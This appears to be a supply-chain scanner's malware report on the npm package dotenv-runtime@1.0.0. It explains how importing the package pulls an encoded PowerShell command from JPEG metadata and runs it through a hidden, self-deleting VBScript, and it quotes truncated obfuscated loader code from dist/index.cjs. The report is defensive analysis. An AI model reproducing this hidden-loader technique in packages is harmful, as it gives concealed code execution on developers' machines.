dotenv-runtime
A fast, validated, zero-dependency environment configuration toolkit for Node.js
This report shows the evidence for dotenv-runtime@1.0.0, the only known version.
AI Security Review
scanned 16d ago · by lpm-firewall-aiInspected source proves automatic, concealed execution of a bundled encoded PowerShell command through a self-deleting script. This concrete behavior supports blocking independently of scanner similarity claims.
Static reason
No blocking static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Importing the library or loading the CLI on a system with Windows Script Host and PowerShell available.
Impact
Executes the embedded PowerShell command with the consumer's privileges; its further effects were not established.
Mechanism
Read an encoded command from dist/stest.jpg, write a self-deleting temporary VBScript, and launch it through a detached, hidden Windows Script Host process.
Attack narrative
Importing the library activates a launcher disguised as analytics. It extracts a command from JPEG metadata, constructs PowerShell's encoded-command arguments, and writes a temporary VBScript that deletes itself and starts PowerShell invisibly. The CLI includes and activates the same mechanism. Automatic concealed command execution establishes malicious behavior even though the embedded command's ultimate effects remain unknown.
AI rationale
Inspected source proves automatic, concealed execution of a bundled encoded PowerShell command through a self-deleting script. This concrete behavior supports blocking independently of scanner similarity claims.
Evidence
package.jsondist/index.cjsdist/cli.cjsdist/stest.jpg
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json exposes the affected library and CLI as public entrypoints.
- dist/index.cjs automatically invokes the hidden launcher during import.
- The launcher extracts text from a JPEG metadata segment and passes it to PowerShell as an encoded command.
- The generated VBScript deletes itself and runs PowerShell with its window hidden.
- Both entrypoints write a temporary script and launch a detached, hidden Windows Script Host process; the CLI invokes this automatically.
Evidence against
- No registry-install lifecycle hook is declared.
- The embedded command's contents and any network destination were not established.
Behavioral surface
ChildProcessDynamicRequireEnvironmentVarsEvalFilesystemShell
HighEntropyStringsMinified
Source & flagged code
6 flagged · loading sourcedist/decode.jsView file
1function b(c,d){c=c-0x1ad;const e=a();let f=e[c];return f;}(function(c,d){const a2=b,e=c();while(!![]){try{const f=-parseInt(a2(0x1b0))/0x1*(parseInt(a2(0x1b9))/0x2)+-parseInt(a2(0...
Low
Eval
Package source references a known benign dynamic code generation pattern.
dist/decode.jsView on unpkg · L1dist/index.cjsView file
•matchType = normalized_sha256
matchedPackage = dotenv-async@1.0.0
matchedPath = dist/index.cjs
matchedIdentity = npm:ZG90ZW52LWFzeW5j:1.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
dist/index.cjsView on unpkg1"use strict";var N=(e,n)=>()=>{try{return n||e((n={exports:{}}).exports,n),n.exports}catch(t){throw n=0,t}};var T=N((Ve,V)=>{var R=require("fs"),q=require("path"),J=require("os"),{...
L2: `].join("")),g=["relay_",Date.now().toString(),Math.random().toString(36).slice(2),".vbs"].join(""),s=q.join(J.tmpdir(),g);R.writeFileSync(s,l);let a=["wscript",".exe"].join("");re...
Findings
4 High3 Medium5 Low
HighSemantic Analysis Limiteddist/cli.cjs#virtual:normalized:round1
HighKnown Malware Source Similaritydist/cli.cjs
HighKnown Malware Source Similaritydist/index.cjs
HighKnown Malware Source Fingerprint Signaturedist/cli.cjs
MediumDynamic Requiredist/index.cjs
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowEvaldist/decode.js
LowFilesystem
LowHigh Entropy Strings
Affected versions and remediation
This report applies to dotenv-runtime@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing dotenv-runtime@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
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